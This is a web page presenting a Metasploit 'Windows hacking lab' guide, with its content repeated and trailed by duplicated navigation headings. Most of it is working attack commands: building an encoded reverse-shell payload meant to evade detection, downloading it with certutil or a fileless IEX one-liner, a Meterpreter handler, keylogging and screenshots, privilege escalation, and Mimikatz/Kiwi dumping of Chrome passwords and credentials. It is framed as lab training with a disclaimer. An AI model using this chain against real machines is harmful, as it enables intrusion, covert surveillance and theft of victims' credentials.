Metasploit Windows Hacking Lab - Educational Guide

Advanced Method: Using Kiwi (Mimikatz) to Dump Chrome Passwords Once you have a session, you can load the Kiwi extension (Mimikatz for Meterpreter) to extract saved passwords…

Updated November 7, 20252 min readSource on GitHub (opens in a new tab)

Overview#

This guide demonstrates how to set up a controlled penetration testing lab environment for educational purposes using Metasploit to establish a reverse shell connection from Windows to Kali Linux.

Prerequisites#

Kali Linux machine
Windows 10/11 machine
Both machines on the same network
Windows Defender disabled for lab purposes

Network Configuration#

Kali Linux: 192.168.11.96 Windows: 192.168.11.x (Same subnet) Port: 4444 (Meterpreter) + 80 (HTTP Server)

Step-by-Step Procedure#

Step 1: Create Payload on Kali Linux#

bash

## Generate encoded payload for Windows x64 architecture
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.11.96 LPORT=4444 -e x64/shikata_ga_nai -i 3 -f exe > encoded_shell.exe

Parameters Explanation:#

txt

-p windows/x64/meterpreter/reverse_tcp: Payload for 64-bit Windows reverse TCP connection
 
LHOST=192.168.11.96: Kali Linux IP address
 
LPORT=4444: Listening port on Kali
 
-e x64/shikata_ga_nai: Encoder to evade basic detection
 
-i 3: Number of encoding iterations
 
-f exe: Output format as executable

Step 2: Start HTTP Server on Kali#

bash

## Start web server to host the payload
sudo python3 -m http.server 80

Alternative without sudo (port 8000)#

bash

python3 -m http.server 8000

Step 3: Download Payload on Windows#

Open Administrator PowerShell on Windows and execute:

powershell

## Navigate to Desktop directory
cd $HOME\Desktop
 
## Download the payload using certutil
certutil -urlcache -split -f http://192.168.11.96/encoded_shell.exe shell.exe

Alternative download methods:#

powershell

Invoke-WebRequest -Uri "http://192.168.11.96/encoded_shell.exe" -OutFile "shell.exe"
## (New-Object System.Net.WebClient).DownloadFile("http://192.168.11.96/encoded_shell.exe", "shell.exe")

Verify file download#

bash

dir shell.exe

Step 4: Set Up Metasploit Handler on Kali#

Open a new terminal on Kali and start Metasploit:

bash

## Launch Metasploit framework
msfconsole
 
## Configure the handler
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.11.96
set LPORT 4444
 
## Start listening for connections
exploit

Step 5: Execute Payload on Windows#

Back in the Administrator PowerShell on Windows:

powershell

## Execute the payload
.\shell.exe

Expected Results#

Successful Connection Indicators#

On Kali Metasploit:

text [] Started reverse TCP handler on 192.168.11.96:4444 [] Sending stage (200774 bytes) to 192.168.11.105 [*] Meterpreter session 1 opened (192.168.11.96:4444 -> 192.168.11.105:49876) meterpreter > On Windows: Brief command prompt flash No visible application window

Post-Exploitation Commands#

Once Meterpreter session is established:

bash

meterpreter
## Basic system information
sysinfo
 
## Current user privileges
getuid
 
## Navigate file system
ls
pwd
 
## Take screenshot
screenshot
screenshare
## Keylogger
keyscan_start
keyscan_dump
keyscan_stop
 
## Migrate to stable process
ps
migrate <PID>
 
## Open chrome
## This will start Chrome visibly on the user's screen
execute -f chrome
 
## To start it and open a specific website
execute -f chrome -a "https://www.google.com"
 
## To start it hidden (stealthier)
execute -H -f chrome -a "https://www.google.com"
 
## Download files
download <filename>
 
## Upload files
upload <filename>

Troubleshooting Common Issues#

Connection Timeouts#

bash

## Verify Kali IP address
ip addr show

Test connectivity from Windows#

ping 192.168.11.96

Check firewall settings on Windows#

Payload Execution Errors#

powershell

## Run as Administrator
Start-Process PowerShell -Verb RunAs
 
## Bypass execution policy
Set-ExecutionPolicy Bypass -Scope Process
 
## Alternative download methods
Invoke-WebRequest -Uri "http://192.168.11.96/encoded_shell.exe" -OutFile "shell.exe"

Handler Configuration Issues#

bash

## Verify handler settings
show options
 
## Restart handler with correct settings
set LHOST <correct_ip>
set LPORT 4444
exploit -j

Advanced Method: Using Kiwi (Mimikatz) to Dump Chrome Passwords Once you have a session, you can load the Kiwi extension (Mimikatz for Meterpreter) to extract saved passwords and cookies from Chrome.

Prerequisite: System Privileges#

You often need to be NT AUTHORITY\SYSTEM for this.

bash

meterpreter > getuid
 
### If not SYSTEM, try to escalate privileges
 
meterpreter > getsystem
 
### Load the Kiwi extension
 
meterpreter > load kiwi
 
### Now you can use various Kiwi commands
 
meterpreter > kiwi_cmd credential_vault list
meterpreter > kiwi_cmd chrome

Alternative Payload Methods#

PowerShell One-Liner

bash

## Generate PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.11.96 LPORT=4444 -f psh-cmd > payload.txt

Direct Execution

powershell

## Execute without file download
IEX (New-Object Net.WebClient).DownloadString('http://192.168.11.96/payload.txt')

Cleanup and Security#

Remove Artifacts

powershell

## Delete payload from Windows
Remove-Item shell.exe

Clear certutil cache#

powershell

certutil -urlcache -split -f http://192.168.11.96/encoded_shell.exe delete

Restore Security Settings#

Re-enable Windows Defender Restore default firewall rules Re-enable User Account Control (UAC)

Legal and Ethical Considerations#

⚠️ Important Disclaimer:

This guide is for educational purposes only Only test on systems you own or have explicit permission to test Compliance with local laws and regulations is mandatory Used for security research and penetration testing training

Additional Resources#

Metasploit Unleashed: https://www.offensive-security.com/metasploit-unleashed/ (opens in a new tab) MITRE ATT&CK Framework: https://attack.mitre.org/ (opens in a new tab) OWASP Security Testing Guide: https://owasp.org/www-project-security-testing-guide/ (opens in a new tab)

This educational lab demonstrates fundamental penetration testing concepts in a controlled environment. Always practice responsible disclosure and ethical hacking principles.

Metasploit Windows Hacking Lab - Educational Guide

Advanced Method: Using Kiwi (Mimikatz) to Dump Chrome Passwords Once you have a session, you can load the Kiwi extension (Mimikatz for Meterpreter) to extract saved passwords…

Updated November 7, 20252 min readSource on GitHub (opens in a new tab)

Overview#

This guide demonstrates how to set up a controlled penetration testing lab environment for educational purposes using Metasploit to establish a reverse shell connection from Windows to Kali Linux.

Prerequisites#

Kali Linux machine
Windows 10/11 machine
Both machines on the same network
Windows Defender disabled for lab purposes

Network Configuration#

Kali Linux: 192.168.11.96 Windows: 192.168.11.x (Same subnet) Port: 4444 (Meterpreter) + 80 (HTTP Server)

Step-by-Step Procedure#

Step 1: Create Payload on Kali Linux#

bash

## Generate encoded payload for Windows x64 architecture
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.11.96 LPORT=4444 -e x64/shikata_ga_nai -i 3 -f exe > encoded_shell.exe

Parameters Explanation:#

txt

-p windows/x64/meterpreter/reverse_tcp: Payload for 64-bit Windows reverse TCP connection
 
LHOST=192.168.11.96: Kali Linux IP address
 
LPORT=4444: Listening port on Kali
 
-e x64/shikata_ga_nai: Encoder to evade basic detection
 
-i 3: Number of encoding iterations
 
-f exe: Output format as executable

Step 2: Start HTTP Server on Kali#

bash

## Start web server to host the payload
sudo python3 -m http.server 80

Alternative without sudo (port 8000)#

bash

python3 -m http.server 8000

Step 3: Download Payload on Windows#

Open Administrator PowerShell on Windows and execute:

powershell

## Navigate to Desktop directory
cd $HOME\Desktop
 
## Download the payload using certutil
certutil -urlcache -split -f http://192.168.11.96/encoded_shell.exe shell.exe

Alternative download methods:#

powershell

Invoke-WebRequest -Uri "http://192.168.11.96/encoded_shell.exe" -OutFile "shell.exe"
## (New-Object System.Net.WebClient).DownloadFile("http://192.168.11.96/encoded_shell.exe", "shell.exe")

Verify file download#

bash

dir shell.exe

Step 4: Set Up Metasploit Handler on Kali#

Open a new terminal on Kali and start Metasploit:

bash

## Launch Metasploit framework
msfconsole
 
## Configure the handler
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.11.96
set LPORT 4444
 
## Start listening for connections
exploit

Step 5: Execute Payload on Windows#

Back in the Administrator PowerShell on Windows:

powershell

## Execute the payload
.\shell.exe

Expected Results#

Successful Connection Indicators#

On Kali Metasploit:

Post-Exploitation Commands#

Once Meterpreter session is established:

bash

meterpreter
## Basic system information
sysinfo
 
## Current user privileges
getuid
 
## Navigate file system
ls
pwd
 
## Take screenshot
screenshot
screenshare
## Keylogger
keyscan_start
keyscan_dump
keyscan_stop
 
## Migrate to stable process
ps
migrate <PID>
 
## Open chrome
## This will start Chrome visibly on the user's screen
execute -f chrome
 
## To start it and open a specific website
execute -f chrome -a "https://www.google.com"
 
## To start it hidden (stealthier)
execute -H -f chrome -a "https://www.google.com"
 
## Download files
download <filename>
 
## Upload files
upload <filename>

Troubleshooting Common Issues#

Connection Timeouts#

bash

## Verify Kali IP address
ip addr show

Test connectivity from Windows#

ping 192.168.11.96

Check firewall settings on Windows#

Payload Execution Errors#

powershell

## Run as Administrator
Start-Process PowerShell -Verb RunAs
 
## Bypass execution policy
Set-ExecutionPolicy Bypass -Scope Process
 
## Alternative download methods
Invoke-WebRequest -Uri "http://192.168.11.96/encoded_shell.exe" -OutFile "shell.exe"

Handler Configuration Issues#

bash

## Verify handler settings
show options
 
## Restart handler with correct settings
set LHOST <correct_ip>
set LPORT 4444
exploit -j

Advanced Method: Using Kiwi (Mimikatz) to Dump Chrome Passwords Once you have a session, you can load the Kiwi extension (Mimikatz for Meterpreter) to extract saved passwords and cookies from Chrome.

Prerequisite: System Privileges#

You often need to be NT AUTHORITY\SYSTEM for this.

bash

meterpreter > getuid
 
### If not SYSTEM, try to escalate privileges
 
meterpreter > getsystem
 
### Load the Kiwi extension
 
meterpreter > load kiwi
 
### Now you can use various Kiwi commands
 
meterpreter > kiwi_cmd credential_vault list
meterpreter > kiwi_cmd chrome

Alternative Payload Methods#

PowerShell One-Liner

bash

## Generate PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.11.96 LPORT=4444 -f psh-cmd > payload.txt

Direct Execution

powershell

## Execute without file download
IEX (New-Object Net.WebClient).DownloadString('http://192.168.11.96/payload.txt')

Cleanup and Security#

Remove Artifacts

powershell

## Delete payload from Windows
Remove-Item shell.exe

Clear certutil cache#

powershell

certutil -urlcache -split -f http://192.168.11.96/encoded_shell.exe delete

Restore Security Settings#

Re-enable Windows Defender Restore default firewall rules Re-enable User Account Control (UAC)

Legal and Ethical Considerations#

⚠️ Important Disclaimer:

Additional Resources#

This educational lab demonstrates fundamental penetration testing concepts in a controlled environment. Always practice responsible disclosure and ethical hacking principles.

Overview#

Prerequisites#

Network Configuration#

Step-by-Step Procedure#

Step 1: Create Payload on Kali Linux#

Parameters Explanation:#

Step 2: Start HTTP Server on Kali#

Alternative without sudo (port 8000)#

Step 3: Download Payload on Windows#

Alternative download methods:#

Verify file download#

Step 4: Set Up Metasploit Handler on Kali#

Step 5: Execute Payload on Windows#

Expected Results#

Successful Connection Indicators#

Post-Exploitation Commands#

Troubleshooting Common Issues#

Connection Timeouts#

Test connectivity from Windows#

Check firewall settings on Windows#

Payload Execution Errors#

Handler Configuration Issues#

Prerequisite: System Privileges#

Alternative Payload Methods#

Cleanup and Security#

Clear certutil cache#

Restore Security Settings#

Legal and Ethical Considerations#

Additional Resources#

Related notes

Overview#

Prerequisites#

Network Configuration#

Step-by-Step Procedure#

Step 1: Create Payload on Kali Linux#

Parameters Explanation:#

Step 2: Start HTTP Server on Kali#

Alternative without sudo (port 8000)#

Step 3: Download Payload on Windows#

Alternative download methods:#

Verify file download#

Step 4: Set Up Metasploit Handler on Kali#

Step 5: Execute Payload on Windows#

Expected Results#

Successful Connection Indicators#

Post-Exploitation Commands#

Troubleshooting Common Issues#

Connection Timeouts#

Test connectivity from Windows#

Check firewall settings on Windows#

Payload Execution Errors#

Handler Configuration Issues#

Prerequisite: System Privileges#

Alternative Payload Methods#

Cleanup and Security#

Clear certutil cache#

Restore Security Settings#

Legal and Ethical Considerations#

Additional Resources#

Related notes